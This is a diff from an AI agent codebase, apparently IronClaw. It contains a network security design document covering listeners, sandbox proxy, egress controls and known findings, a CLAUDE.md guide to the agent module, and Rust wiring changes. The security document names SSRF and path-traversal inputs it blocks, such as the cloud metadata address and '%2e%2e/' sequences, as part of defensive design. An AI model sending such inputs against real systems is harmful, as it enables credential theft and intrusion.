binding fails for reasons other than `AddrInUse`. If the port is already in use, the error is returned immediately (fail-fast). + +Both IPv4 and IPv6 loopback addresses are security-equivalent — they are only reachable from the local machine. + +**Reference:** `src/cli/oauth_defaults.rs` — `OAUTH_CALLBACK_PORT` constant, `bind_callback_listener()` + +### Lifecycle + +The listener is **ephemeral** — it is started only when an OAuth flow is initiated (e.g., `ironclaw tool auth `) and shut down after the callback is received or the timeout expires. + +### Timeout + +**5-minute timeout** (`Duration::from_secs(300)`). If the user does not complete the OAuth flow in the browser within 5 minutes, the listener shuts down. + +**Reference:** `src/cli/oauth_defaults.rs` — `tokio::time::timeout(Duration::from_secs(300), ...)` + +### Security Controls + +- **HTML escaping**: Provider names displayed in the landing page are HTML-escaped to prevent XSS (escapes `&`, `<`, `>`, `"`, `'`) +- **Error parameter checking**: The handler checks for `error=` in the callback query string before extracting the auth code +- **URL decoding**: Callback parameters are URL-decoded safely + +**Reference:** `src/cli/oauth_defaults.rs` — `html_escape()` + +### Built-in OAuth Credentials + +Google OAuth client ID and secret are compiled into the binary (with compile-time override via `IRONCLAW_GOOGLE_CLIENT_ID` / `IRONCLAW_GOOGLE_CLIENT_SECRET`). As noted in the source, Google Desktop App client secrets are [not actually secret](https://developers.google.com/identity/protocols/oauth2/native-app) per Google's documentation. + +**Reference:** `src/cli/oauth_defaults.rs` — `GOOGLE_CLIENT_ID` / `GOOGLE_CLIENT_SECRET` constants + +### Graceful Shutdown + +Implicit. The listener is a raw `TcpListener` (not axum) inside a `tokio::time::timeout` future. Once the authorization code or error is received, the future returns and the `TcpListener` is dropped, closing the port. No explicit shutdown signal is needed. + +**Reference:** `src/cli/oauth_defaults.rs` — `wait_for_callback()` + +--- + +## 5. Sandbox HTTP Proxy + +**Source:** `src/sandbox/proxy/http.rs`, `src/sandbox/proxy/allowlist.rs`, `src/sandbox/proxy/policy.rs` + +### Bind Address + +Always binds to **`127.0.0.1`** (localhost only). Port is OS-assigned (port `0`, ephemeral). Falls back to `[::1]` (IPv6 loopback) if IPv4 is unavailable. + +Both IPv4 and IPv6 loopback addresses are security-equivalent — they are only reachable from the local machine. + +**Reference:** `src/sandbox/proxy/http.rs` — `SandboxProxy::start()`, `TcpListener::bind("127.0.0.1:0")` + +### Purpose + +Acts as an HTTP/HTTPS proxy for Docker sandbox containers. Containers are configured with `http_proxy` / `https_proxy` environment variables pointing to this proxy, so all outbound HTTP traffic is routed through it. + +### Domain Allowlisting + +All requests are validated against a domain allowlist before being forwarded: + +- **Empty allowlist = deny all** (fail-closed default) +- Supports exact matches and wildcard patterns (`*.example.com`) +- Validates URL scheme (HTTP/HTTPS only, rejects `ftp://`, `file://`, etc.) + +**Reference:** `src/sandbox/proxy/allowlist.rs` — `DomainAllowlist` struct, `is_allowed()` method + +### HTTPS Tunneling (CONNECT) + +- CONNECT requests for HTTPS tunneling are subject to the same allowlist +- **30-minute timeout** on established tunnels to prevent indefinite holds +- **No MITM**: the proxy cannot inspect or inject credentials into HTTPS traffic (by design — containers that need credentials must use the orchestrator's `/worker/{job_id}/credentials` endpoint) + +**Reference:** `src/sandbox/proxy/http.rs` — `handle_connect()` function + +### Credential Injection (HTTP only) + +For plain HTTP requests to allowed hosts, the proxy can inject credentials: + +- Bearer tokens in `Authorization` header +- Custom headers (e.g., `X-API-Key`) +- Query parameters +- Credentials are resolved at request time from the encrypted secrets store +- Credentials never enter the container's environment or filesystem + +**Reference:** `src/sandbox/proxy/http.rs` — credential injection block in `handle_request()` + +### Hop-by-Hop Header Filtering + +The proxy strips hop-by-hop headers to prevent header-based attacks: `connection`, `keep-alive`, `proxy-authenticate`, `proxy-authorization`, `te`, `trailers`, `transfer-encoding`, `upgrade`. + +**Reference:** `src/sandbox/proxy/http.rs` — `is_hop_by_hop_header()` + +### Docker Container Security + +Containers that use the proxy are configured with defense-in-depth: + +| Control | Setting | Reference | +|---------|---------|-----------| +| Capabilities | Drop ALL, add only CHOWN | `src/sandbox/container.rs` — `cap_drop` / `cap_add` | +| Privilege escalation | `no-new-privileges:true` | `src/sandbox/container.rs` — `security_opt` | +| Root filesystem | Read-only (except FullAccess policy) | `src/sandbox/container.rs` — `readonly_rootfs` | +| User | Non-root (UID 1000:1000) | `src/sandbox/container.rs` — `user` field | +| Network | Bridge mode (isolated) | `src/sandbox/container.rs` — `network_mode` | +| Tmpfs | `/tmp` (512 MB), `/home/sandbox/.cargo/registry` (1 GB) | `src/sandbox/container.rs` — `tmpfs` block | +| Auto-remove | Enabled | `src/sandbox/container.rs` — `auto_remove` | +| Output limits | Configurable max stdout/stderr | `src/sandbox/container.rs` — `collect_logs()` | +| Timeout | Enforced with forced container removal | `src/sandbox/container.rs` — `tokio::time::timeout` in `run()` | + +### Graceful Shutdown + +Shutdown is triggered via a `oneshot::Sender` stored on the proxy. The accept loop uses `tokio::select!` to race `listener.accept()` against the shutdown signal. The `stop()` method fires the signal; the loop breaks on the next iteration. Note: `stop()` does not await a join handle, so there is no drain-and-wait for in-flight connections. + +**Reference:** `src/sandbox/proxy/http.rs` — `stop()` method, `tokio::select!` loop + +--- + +## Egress Controls + +### WASM Tool HTTP Requests + +WASM tools execute HTTP requests through the host runtime, subject to: + +1. **Endpoint allowlist** — declared in `.capabilities.json`, validated by `AllowlistValidator` + - Host matching (exact or wildcard) + - Path prefix matching + - HTTP method restriction + - HTTPS required by default + - Userinfo in URLs (`user:pass@host`) rejected to prevent allowlist bypass + - Path traversal (`../`, `%2e%2e/`) normalized and blocked + - Invalid percent-encoding rejected + - **Reference:** `src/tools/wasm/allowlist.rs` + +2. **Credential injection** — secrets injected at the host boundary by `CredentialInjector` + - WASM code never sees actual credential values + - Secrets must be in the tool's `allowed_secrets` list + - Injection supports: Bearer header, Basic auth, custom header, query parameter + - **Reference:** `src/tools/wasm/credential_injector.rs` + +3. **Leak detection** — `LeakDetector` scans both outbound requests and inbound responses for secret patterns + - Runs at two points: before sending and after receiving + - Uses Aho-Corasick for fast multi-pattern matching + - **Reference:** `src/safety/leak_detector.rs` + +### Built-in HTTP Tool + +The `http` tool (`src/tools/builtin/http.rs`) has its own SSRF protections: + +| Protection | Details | Reference | +|-----------|---------|-----------| +| HTTPS only | Rejects `http://` URLs | `http.rs` — scheme check | +| Localhost blocked | Rejects `localhost` and `*.localhost` | `http.rs` — host check | +| Private IP blocked | Rejects RFC 1918, loopback, link-local, multicast, unspecified | `http.rs` — `is_disallowed_ip()` | +| DNS rebinding | Resolves hostname and checks all resolved IPs against blocklist | `http.rs` — DNS resolution block | +| Cloud metadata | Blocks `169.254.169.254` (AWS/GCP metadata endpoint) | `http.rs` — `is_disallowed_ip()` | +| Redirect blocking | Returns error on 3xx responses (prevents SSRF via redirect) | `http.rs` — status code check | +| Response size limit | **5 MB** max, enforced both via Content-Length header and streaming | `http.rs` — `MAX_RESPONSE_SIZE` constant, streaming cap | +| Outbound leak scan | Scans URL, headers, and body for secrets before sending | `http.rs` — `LeakDetector::scan_http_request()` | +| Approval required | Requires user approval before execution | `http.rs` — `requires_approval()` returns `true` | +| Timeout | 30 seconds default | `http.rs` — `reqwest::Client` builder | +| No redirects | `redirect::Policy::none()` — redirects are not followed | `http.rs` — `reqwest::Client` builder | + +### MCP Client + +MCP servers are external processes accessed via HTTP. The MCP client (`src/tools/mcp/client.rs`) uses `reqwest` with a 30-second timeout but has **no SSRF protections** — it connects to whatever URL is configured for the MCP server. + +This is by design: MCP server URLs come from **operator-controlled configuration** (config files, environment variables, or the CLI `tool install` command), not from user input or LLM output. A compromised config file is outside IronClaw's threat model — it would imply the operator's machine is already compromised. + +**Reference:** `src/tools/mcp/client.rs` — `reqwest::Client` builder + +### Sandbox Domain Allowlists + +Sandbox containers route all HTTP traffic through the proxy, which enforces a domain allowlist. The allowlist is built from: + +1. A default set of domains (`src/sandbox/config.rs` — `default_allowlist()`) +2. Additional domains from `SANDBOX_EXTRA_DOMAINS` env var (comma-separated) + +**Reference:** `src/config.rs` — sandbox allowlist assembly + +--- + +## Authentication Mechanisms Summary + +| Mechanism | Constant-Time | Used By | Reference | +|-----------|:------------:|---------|-----------| +| Gateway bearer token | Yes | Web gateway (header + query) | `src/channels/web/auth.rs` — `auth_middleware()` | +| Webhook shared secret | Yes | HTTP webhook (`ct_eq` comparison) | `src/channels/http.rs` — `webhook_handler()` | +| Per-job bearer token | Yes | Orchestrator worker API | `src/orchestrator/auth.rs` — `TokenStore::validate()` | +| OAuth callback | N/A | CLI OAuth flow (no auth, loopback-only) | `src/cli/oauth_defaults.rs` — `bind_callback_listener()` | +| Sandbox proxy | N/A | No auth (loopback-only, ephemeral) | `src/sandbox/proxy/http.rs` — `SandboxProxy::start()` | + +--- + +## Known Security Findings + +### Open + +#### F-2. No TLS at the application layer + +**Severity:** Low (for local deployment) +**Details:** None of the listeners terminate TLS. All communication is plain HTTP. +**Mitigation:** The web gateway and OAuth callback bind to loopback by default. For production, users are expected to front the gateway with a reverse proxy (nginx, Caddy) or tunnel (Cloudflare, ngrok) that provides TLS. +**Recommendation:** Document the requirement for a TLS-terminating reverse proxy in deployment guides. + +#### F-3. Orchestrator binds to `0.0.0.0` on Linux + +**Severity:** Medium +**Location:** `src/orchestrator/api.rs` — platform-conditional bind in `OrchestratorApi::start()` +**Details:** On Linux, the orchestrator API binds to all interfaces because Docker containers reach the host via the bridge gateway (`172.17.0.1`), not loopback. This means the API is reachable from any network interface on the host. +**Mitigation:** All `/worker/*` endpoints require per-job bearer tokens (constant-time, cryptographically random). The `/health` endpoint is the only unauthenticated route and returns only `"ok"`. Firewall rules should block external access to port 50051. +**Recommendation:** Document firewall requirements for Linux deployments. Consider binding to the Docker bridge IP (`172.17.0.1`) instead of `0.0.0.0`. + +#### F-6. WebSocket/SSE connection limit + +**Severity:** Info +**Details:** The `SseManager` enforces a hard limit of **100 concurrent connections** (`MAX_CONNECTIONS` constant in `src/channels/web/sse.rs`). Both SSE subscribers and WebSocket connections share this counter. When exceeded, new WebSocket upgrades are rejected with a warning log and the connection is immediately closed. +**Reference:** `src/channels/web/sse.rs` — `MAX_CONNECTIONS`, `src/channels/web/ws.rs` — `handle_ws_connection()` early return + +#### F-7. Orchestrator API has no rate limiting + +**Severity:** Low +**Details:** The orchestrator API has no request-rate throttling. A compromised container could spam authenticated endpoints (e.g., `/worker/{job_id}/llm/complete`) to drive up LLM costs or degrade service for other jobs. +**Mitigation:** Tokens are scoped per-job, limiting blast radius. Container execution is time-bounded by the sandbox timeout, which caps the abuse window. +**Recommendation:** Consider adding per-token rate limiting on the LLM proxy endpoints. + +#### F-8. Orchestrator API has no graceful shutdown + +**Severity:** Info +**Details:** The orchestrator calls `axum::serve(listener, router).await?` without `.with_graceful_shutdown()`. In-flight requests (including LLM proxy calls) may be interrupted during process shutdown. +**Reference:** `src/orchestrator/api.rs` — `OrchestratorApi::start()` + +### Resolved / Mitigated + +
+Resolved and mitigated findings (click to expand) + +#### F-1. ~~Webhook secret comparison is not constant-time~~ (Resolved) + +**Severity:** Low +**Location:** `src/channels/http.rs` — `webhook_handler()` +**Status:** Resolved — webhook secret now uses `subtle::ConstantTimeEq` (`ct_eq`), consistent with web gateway and orchestrator auth. + +#### F-4. ~~HTTP webhook server binds to `0.0.0.0` by default~~ (Mitigated) + +**Severity:** Low +**Location:** `src/config.rs`, `src/main.rs` +**Status:** Mitigated — a `tracing::warn!` is now emitted at startup when the webhook server binds to an unspecified address (`0.0.0.0` or `::`), advising operators to set `HTTP_HOST=127.0.0.1` to restrict to localhost. The default bind address remains `0.0.0.0`, so webhook exposure is still controlled by operator configuration and external network controls (firewalls, ingress rules). + +#### F-5. ~~Missing security headers on web gateway~~ (Mitigated) + +**Severity:** Low +**Status:** Mitigated — `X-Content-Type-Options: nosniff` and `X-Frame-Options: DENY` are now set on all gateway responses via `SetResponseHeaderLayer::if_not_present`. Layer ordering ensures these headers are applied even to error responses generated by inner layers (e.g., `DefaultBodyLimit` 413 rejections). + +
+ +--- + +## Review Checklist for Network Changes + +Use this checklist for any PR that adds or modifies network-facing code. + +### New Listener + +- [ ] **Bind address**: Does it bind to loopback (`127.0.0.1`) or all interfaces (`0.0.0.0`)? Justify if `0.0.0.0`. +- [ ] **Port configuration**: Is the port configurable via env var? Is a sensible default set? +- [ ] **Authentication**: Is auth required? If yes, is it constant-time? If no, why not? +- [ ] **Rate limiting**: Is there a rate limiter? What are the limits? +- [ ] **Body size limit**: Is `DefaultBodyLimit` (or equivalent) set? +- [ ] **Content-Type validation**: Does the handler validate Content-Type (e.g., via axum `Json` extractor)? +- [ ] **Graceful shutdown**: Does the listener support graceful shutdown via oneshot or similar? +- [ ] **Inventory update**: Is this document updated with the new listener? + +### New Route on Existing Listener + +- [ ] **Auth layer**: Is the route behind the auth middleware? If public, why? +- [ ] **Input validation**: Are path parameters, query parameters, and body fields validated? +- [ ] **Error responses**: Do error responses avoid leaking internal details? + +### Egress (Outbound HTTP) + +- [ ] **SSRF protection**: Does the code block private IPs, localhost, and cloud metadata endpoints? +- [ ] **DNS rebinding**: Are resolved IPs checked (not just the hostname)? +- [ ] **Redirect handling**: Are redirects blocked or validated? +- [ ] **Response size**: Is there a max response size? +- [ ] **Timeout**: Is a request timeout set? +- [ ] **Leak detection**: Is the outbound request scanned for secrets? + +### Credential Handling + +- [ ] **Constant-time comparison**: Are secrets compared with `subtle::ConstantTimeEq`? +- [ ] **No logging**: Are credentials excluded from log messages? +- [ ] **Ephemeral storage**: Are tokens stored in memory only (not persisted)? +- [ ] **Scope**: Are credentials scoped to the minimum necessary (per-job, per-tool)? +- [ ] **Revocation**: Are credentials revoked when no longer needed? + +### Container / Sandbox + +- [ ] **Capabilities**: Are all capabilities dropped except what's needed? +- [ ] **Filesystem**: Is the root filesystem read-only? +- [ ] **User**: Does the container run as non-root? +- [ ] **Network**: Is network access routed through the proxy? +- [ ] **Timeout**: Is there an execution timeout with forced cleanup? +- [ ] **Output limits**: Are stdout/stderr capped? diff --git a/src/agent/CLAUDE.md b/src/agent/CLAUDE.md new file mode 100644 index 00000000..40221341 --- /dev/null +++ b/src/agent/CLAUDE.md @@ -0,0 +1,171 @@ +# Agent Module + +Core agent logic. This is the most complex subsystem — read this before working in `src/agent/`. + +## Module Map + +| File | Role | +|------|------| +| `agent_loop.rs` | `Agent` struct, `AgentDeps`, main `run()` event loop. Delegates to siblings. | +| `dispatcher.rs` | Agentic loop for conversational turns: LLM call → tool execution → repeat. Injects skill context. Returns `Response` or `NeedApproval`. | +| `thread_ops.rs` | Thread/session operations: `process_user_input`, undo/redo, approval, auth-mode interception, DB hydration, compaction. | +| `commands.rs` | System command handlers (`/help`, `/model`, `/status`, `/skills`, etc.) and job intent handlers. | +| `session.rs` | Data model: `Session` → `Thread` → `Turn`. State machines for threads and turns. | +| `session_manager.rs` | Lifecycle: create/lookup sessions, map external thread IDs to internal UUIDs, prune stale sessions, manage undo managers. | +| `router.rs` | Routes explicit `/commands` to `MessageIntent`. Natural language bypasses the router entirely. | +| `scheduler.rs` | Parallel job scheduling. Maintains `jobs` map (full LLM-driven) and `subtasks` map (tool-exec/background). | +| `worker.rs` | Per-job execution for background scheduler jobs: calls LLM, runs tools, handles the reasoning loop. Distinct from `dispatcher.rs`. | +| `compaction.rs` | Context window management: summarize old turns, write to workspace daily log, trim context. Three strategies. | +| `context_monitor.rs` | Detects memory pressure. Suggests `CompactionStrategy` based on usage level. | +| `self_repair.rs` | Detects stuck jobs and broken tools, attempts recovery. | +| `heartbeat.rs` | Proactive periodic execution. Reads `HEARTBEAT.md`, notifies via channel if findings. | +| `submission.rs` | Parses all user submissions into typed variants before routing. | +| `undo.rs` | Turn-based undo/redo with checkpoints. Checkpoints store message lists (max 20 by default). | +| `routine.rs` | `Routine` types: `Trigger` (cron/event/webhook/manual) + `RoutineAction` (lightweight/full_job) + `RoutineGuardrails`. | +| `routine_engine.rs` | Cron ticker and event matcher. Fires routines when triggers match. Lightweight runs inline; full_job dispatches to `Scheduler`. | +| `task.rs` | Task types for the scheduler: `Job`, `ToolExec`, `Background`. Used by `spawn_subtask` and `spawn_batch`. | +| `cost_guard.rs` | LLM spend and action-rate enforcement. Tracks daily budget (cents) and hourly call rate. Lives in `AgentDeps`. | +| `job_monitor.rs` | Subscribes to SSE broadcast and injects Claude Code (container) output back into the agent loop as `IncomingMessage`. | + +## Session / Thread / Turn Model + +``` +Session (per user) +└── Thread (per conversation — can have many) + └── Turn (per request/response pair) + ├── user_input: String + ├── response: Option + ├── tool_calls: Vec + └── state: TurnState (Pending | Running | Complete | Failed) +``` + +- A session has one **active thread** at a time; threads can be switched. +- Turns are append-only. Undo rolls back by restoring a prior checkpoint (message list, not a full thread snapshot). +- `UndoManager` is per-thread, stored in `SessionManager`, not on `Session` itself. Max 20 checkpoints (oldest dropped when exceeded). +- Group chat detection: if `metadata.chat_type` is `group`/`channel`/`supergroup`, `MEMORY.md` is excluded from the system prompt to prevent leaking personal context. +- **Auth mode**: if a thread has `pending_auth` set (e.g. from `tool_auth` returning `awaiting_token`), the next user message is intercepted before any turn creation, logging, or safety validation and sent directly to the credential store. Any control submission (undo, interrupt, etc.) cancels auth mode. +- `ThreadState` values: `Idle`, `Processing`, `AwaitingApproval`, `Completed`, `Interrupted`. +- `SessionManager` maps `(user_id, channel, external_thread_id)` → internal UUID. Prunes idle sessions every 10 minutes (warns at 1000 sessions). + +## Agentic Loop (dispatcher.rs) + +The `dispatcher.rs` module handles **direct conversational turns** (user messages processed inline by the main agent). Background scheduler jobs use `worker.rs` instead — these are two separate execution paths. + +``` +run_agentic_loop() [dispatcher.rs — conversational turns] + 1. Load workspace system prompt (identity files: AGENTS.md, SOUL.md, etc.) + 2. Detect group chat from metadata; exclude MEMORY.md if group chat + 3. Select active skills (keyword/pattern scoring against message content) + 4. Build skill context block (injected before user message) + 5. LLM call → text response OR tool calls + 6. If tool calls: + a. Check tool approval (session auto-approvals, pending approval queue) + b. Execute tools (parallel via JoinSet) + c. Sanitize results through SafetyLayer + d. Feed results back → goto 5 + 7. Return AgenticLoopResult::Response or NeedApproval +``` + +**Tool approval:** Tools flagged `requires_approval` pause the loop and return `NeedApproval`. The web gateway stores the `PendingApproval` in session state and sends an `approval_needed` SSE event. The user's approval/deny resumes the loop. + +**worker.rs vs dispatcher.rs:** `dispatcher.rs` runs the agentic loop for user-initiated conversational turns (holds session lock, tracks turns). `worker.rs` is spawned by the `Scheduler` for background jobs created via `CreateJob` / `/job` — it runs independently of the session and has its own LLM reasoning loop with planning support (`use_planning` flag). + +## Command Routing (router.rs) + +The `Router` handles explicit `/commands` (prefix `/`). It parses them into `MessageIntent` variants: `CreateJob`, `CheckJobStatus`, `CancelJob`, `ListJobs`, `HelpJob`, `Command`. Natural language messages bypass the router entirely — they go directly to `dispatcher.rs` via `process_user_input`. Note: most user-facing commands (undo, compact, etc.) are handled by `SubmissionParser` before the router runs, so `Router` only sees unrecognized `/xxx` patterns that haven't already been claimed by `submission.rs`. + +## Compaction + +Triggered by `ContextMonitor` when token usage approaches the model's context limit. + +**Token estimation**: Word-count × 1.3 + 4 overhead per message. Default context limit: 100,000 tokens. Compaction threshold: 80% (configurable). + +Three strategies, chosen by `ContextMonitor.suggest_compaction()` based on usage ratio: +- **MoveToWorkspace** — Writes full turn transcript to workspace daily log, keeps 10 recent turns. Used when usage is 80–85% (moderate). Falls back to `Truncate(5)` if no workspace. +- **Summarize** (`keep_recent: N`) — LLM generates a summary of old turns, writes it to workspace daily log (`daily/YYYY-MM-DD.md`), removes old turns. Used when usage is 85–95%. +- **Truncate** (`keep_recent: N`) — Removes oldest turns without summarization (fast path). Used when usage >95% (critical). + +If the LLM call for summarization fails, the error propagates — turns are **not** truncated on failure. + +Manual trigger: user sends `/compact` (parsed by `submission.rs`). + +## Scheduler + +`Scheduler` maintains two maps under `Arc>`: +- `jobs` — full LLM-driven jobs, each with a `Worker` and an `mpsc` channel for `WorkerMessage` (`Start`, `Stop`, `Ping`, `UserMessage`). +- `subtasks` — lightweight `ToolExec` or `Background` tasks spawned via `spawn_subtask()` / `spawn_batch()`. + +**Preferred entry point**: `dispatch_job()` — creates context, optionally sets metadata, persists to DB (so FK references from `job_actions`/`llm_calls` are valid immediately), then calls `schedule()`. Don't call `schedule()` directly unless you've already persisted. + +Check-insert is done under a single write lock to prevent TOCTOU races. A cleanup task polls every second for job completion and removes the entry from the map. + +`spawn_subtask()` returns a `oneshot::Receiver` — callers must await it to get the result. `spawn_batch()` runs all tasks concurrently and returns results in input order. + +## Self-Repair + +`DefaultSelfRepair` runs on `repair_check_interval` (from `AgentConfig`). It: +1. Calls `ContextManager::find_stuck_jobs()` to find jobs in `JobState::Stuck`. +2. Attempts `ctx.attempt_recovery()` (transitions back to `InProgress`). +3. Returns `ManualRequired` if `repair_attempts >= max_repair_attempts`. +4. Detects broken tools via `store.get_broken_tools(5)` (threshold: 5 failures). Requires `with_store()` to be called; returns empty without a store. +5. Attempts to rebuild broken tools via `SoftwareBuilder`. Requires `with_builder()` to be called; returns `ManualRequired` without a builder. + +Note: the `stuck_threshold` duration is stored but currently unused (marked `#[allow(dead_code)]`). Stuck detection relies on `JobState::Stuck` being set by the state machine, not wall-clock time comparison. + +Repair results: `Success`, `Retry`, `Failed`, `ManualRequired`. `Retry` does NOT notify the user (to avoid spam). + +## Key Invariants + +- Never call `.unwrap()` or `.expect()` — use `?` with proper error mapping. +- All state mutations on `Session`/`Thread` happen under `Arc>` lock. +- The agent loop is single-threaded per thread; parallel execution happens at the job/scheduler level. +- Skills are selected **deterministically** (no LLM call) — see `skills/selector.rs`. +- Tool results pass through `SafetyLayer` before returning to LLM (sanitizer → validator → policy → leak detector). +- `SessionManager` uses double-checked locking for session creation. Read lock first (fast path), then write lock with re-check to prevent duplicate sessions. +- `Scheduler.schedule()` holds the write lock for the entire check-insert sequence — don't hold any other locks when calling it. +- `cheap_llm` in `AgentDeps` is used for heartbeat and other lightweight tasks. Falls back to main `llm` if `None`. Use `agent.cheap_llm()` accessor, not `deps.cheap_llm` directly. +- `CostGuard.check_allowed()` must be called **before** LLM calls; `record_llm_call()` must be called **after**. Both calls are separate — the guard does not auto-record. +- `BeforeInbound` and `BeforeOutbound` hooks run for every user message and agent response respectively. Hooks can modify content or reject. Hook errors are logged but **fail-open** (processing continues). + +## Complete Submission Command Reference + +All commands parsed by `SubmissionParser::parse()`: + +| Input | Variant | Notes | +|-------|---------|-------| +| `/undo` | `Undo` | | +| `/redo` | `Redo` | | +| `/interrupt`, `/stop` | `Interrupt` | | +| `/compact` | `Compact` | | +| `/clear` | `Clear` | | +| `/heartbeat` | `Heartbeat` | | +| `/summarize`, `/summary` | `Summarize` | | +| `/suggest` | `Suggest` | | +| `/new`, `/thread new` | `NewThread` | | +| `/thread ` | `SwitchThread` | Must be valid UUID | +| `/resume ` | `Resume` | Must be valid UUID | +| `/status [id]`, `/progress [id]`, `/list` | `JobStatus` | `/list` = all jobs | +| `/cancel ` | `JobCancel` | | +| `/quit`, `/exit`, `/shutdown` | `Quit` | | +| `yes/y/approve/ok` and aliases | `ApprovalResponse { approved: true, always: false }` | | +| `always/a` and aliases | `ApprovalResponse { approved: true, always: true }` | | +| `no/n/deny/reject/cancel` and aliases | `ApprovalResponse { approved: false }` | | +| JSON `ExecApproval{...}` | `ExecApproval` | From web gateway approval endpoint | +| `/help`, `/?` | `SystemCommand { "help" }` | Bypasses thread-state checks | +| `/version` | `SystemCommand { "version" }` | | +| `/tools` | `SystemCommand { "tools" }` | | +| `/skills [search ]` | `SystemCommand { "skills" }` | | +| `/ping` | `SystemCommand { "ping" }` | | +| `/debug` | `SystemCommand { "debug" }` | | +| `/model [name]` | `SystemCommand { "model" }` | | +| Everything else | `UserInput` | Starts a new agentic turn | + +**`SystemCommand` vs control**: `SystemCommand` variants bypass thread-state checks entirely (no session lock, no turn creation). `Quit` returns `Ok(None)` from `handle_message` which breaks the main loop. + +## Adding a New Submission Command + +Submissions are special messages parsed in `submission.rs` before the agentic loop runs. To add a new one: +1. Add a variant to `Submission` enum in `submission.rs` +2. Add parsing in `SubmissionParser::parse()` +3. Handle in `agent_loop.rs` where `SubmissionResult` is matched (the `match submission { ... }` block in `handle_message`) +4. Implement the handler method (usually in `thread_ops.rs` for session operations, or `commands.rs` for system commands) diff --git a/src/agent/agent_loop.rs b/src/agent/agent_loop.rs index 45152cd3..cfeabb2d 100644 --- a/src/agent/agent_loop.rs +++ b/src/agent/agent_loop.rs @@ -68,10 +68,19 @@ pub struct AgentDeps { pub workspace: Option>, pub extension_manager: Option>, pub skill_registry: Option>>, + pub skill_catalog: Option>, pub skills_config: SkillsConfig, pub hooks: Arc, /// Cost enforcement guardrails (daily budget, hourly rate limits). pub cost_guard: Arc, + /// SSE broadcast sender for live job event streaming to the web gateway. + pub sse_tx: Option>, + /// HTTP interceptor for trace recording/replay. + pub http_interceptor: Option>, + /// Audio transcription middleware for voice messages. + pub transcription: Option>, + /// Document text extraction middleware for PDF, DOCX, PPTX, etc. + pub document_extraction: Option>, } /// The main agent that coordinates all components. @@ -85,7 +94,11 @@ pub struct Agent { pub(super) session_manager: Arc, pub(super) context_monitor: ContextMonitor, pub(super) heartbeat_config: Option, + pub(super) hygiene_config: Option, pub(super) routine_config: Option, + /// Optional slot to expose the routine engine to the gateway for manual triggering. + pub(super) routine_engine_slot: + Option>>>>, } impl Agent { @@ -93,11 +106,13 @@ impl Agent { /// /// Optionally accepts pre-created `ContextManager` and `SessionManager` for sharing /// with external components (job tools, web gateway). Creates new ones if not provided. + #[allow(clippy::too_many_arguments)] pub fn new( config: AgentConfig, deps: AgentDeps, - channels: ChannelManager, + channels: Arc, heartbeat_config: Option, + hygiene_config: Option, routine_config: Option, context_manager: Option>, session_manager: Option>, @@ -107,7 +122,7 @@ impl Agent { let session_manager = session_manager.unwrap_or_else(|| Arc::new(SessionManager::new())); - let scheduler = Arc::new(Scheduler::new( + let mut scheduler = Scheduler::new( config.clone(), context_manager.clone(), deps.llm.clone(), @@ -115,24 +130,46 @@ impl Agent { deps.tools.clone(), deps.store.clone(), deps.hooks.clone(), - )); + ); + if let Some(ref tx) = deps.sse_tx { + scheduler.set_sse_sender(tx.clone()); + } + if let Some(ref interceptor) = deps.http_interceptor { + scheduler.set_http_interceptor(Arc::clone(interceptor)); + } + let scheduler = Arc::new(scheduler); Self { config, deps, - channels: Arc::new(channels), + channels, context_manager, scheduler, router: Router::new(), session_manager, context_monitor: ContextMonitor::new(), heartbeat_config, + hygiene_config, routine_config, + routine_engine_slot: None, } } + /// Set the routine engine slot for exposing the engine to the gateway. + pub fn set_routine_engine_slot( + &mut self, + slot: Arc>>>, + ) { + self.routine_engine_slot = Some(slot); + } + // Convenience accessors + /// Get the scheduler (for external wiring, e.g. CreateJobTool). + pub fn scheduler(&self) -> Arc { + Arc::clone(&self.scheduler) + } + pub(super) fn store(&self) -> Option<&Arc> { self.deps.store.as_ref() } @@ -170,6 +207,10 @@ impl Agent { self.deps.skill_registry.as_ref() } + pub(super) fn skill_catalog(&self) -> Option<&Arc> { + self.deps.skill_catalog.as_ref() + } + /// Select active skills for a message using deterministic prefiltering. pub(super) fn select_active_skills( &self, @@ -313,8 +354,19 @@ impl Agent { let heartbeat_handle = if let Some(ref hb_config) = self.heartbeat_config { if hb_config.enabled { if let Some(workspace) = self.workspace() { - let config = AgentHeartbeatConfig::default() + let mut config = AgentHeartbeatConfig::default() .with_interval(std::time::Duration::from_secs(hb_config.interval_secs)); + config.quiet_hours_start = hb_config.quiet_hours_start; + config.quiet_hours_end = hb_config.quiet_hours_end; + config.timezone = hb_config + .timezone + .clone() + .or_else(|| Some(self.config.default_timezone.clone())); + if let (Some(user), Some(channel)) = + (&hb_config.notify_user, &hb_config.notify_channel) + { + config = config.with_notify(user, channel); + } // Set up notification channel let (notify_tx, mut notify_rx) = @@ -354,15 +406,19 @@ impl Agent { } }); - tracing::info!( - "Heartbeat enabled with {}s interval", - hb_config.interval_secs - ); + let hygiene = self + .hygiene_config + .as_ref() + .map(|h| h.to_workspace_config()) + .unwrap_or_default(); + Some(spawn_heartbeat( config, + hygiene, workspace.clone(), self.cheap_llm().clone(), Some(notify_tx), + self.store().map(Arc::clone), )) } else { tracing::warn!("Heartbeat enabled but no workspace available"); @@ -389,6 +445,7 @@ impl Agent { self.llm().clone(), Arc::clone(workspace), notify_tx, + Some(self.scheduler.clone()), )); // Register routine tools @@ -399,7 +456,7 @@ impl Agent { // Load initial event cache engine.refresh_event_cache().await; - // Spawn notification forwarder + // Spawn notification forwarder (mirrors heartbeat pattern) let channels = self.channels.clone(); tokio::spawn(async move { while let Some(response) = notify_rx.recv().await { @@ -409,14 +466,33 @@ impl Agent { .and_then(|v| v.as_str()) .unwrap_or("default") .to_string(); - let results = channels.broadcast_all(&user, response).await; - for (ch, result) in results { - if let Err(e) = result { - tracing::warn!( - "Failed to broadcast routine notification to {}: {}", - ch, - e - ); + let notify_channel = response + .metadata + .get("notify_channel") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + // Try the configured channel first, fall back to + // broadcasting on all channels. + let targeted_ok = if let Some(ref channel) = notify_channel { + channels + .broadcast(channel, &user, response.clone()) + .await + .is_ok() + } else { + false + }; + + if !targeted_ok { + let results = channels.broadcast_all(&user, response).await; + for (ch, result) in results { + if let Err(e) = result { + tracing::warn!( + "Failed to broadcast routine notification to {}: {}", + ch, + e + ); + } } } } @@ -433,6 +509,11 @@ impl Agent { // SAFETY: self is consumed by run(), we can smuggle the engine in // via a local to use in the message loop below. + // Expose engine to gateway for manual triggering + if let Some(ref slot) = self.routine_engine_slot { + *slot.write().await = Some(Arc::clone(&engine)); + } + tracing::info!( "Routines enabled: cron ticker every {}s, max {} concurrent", 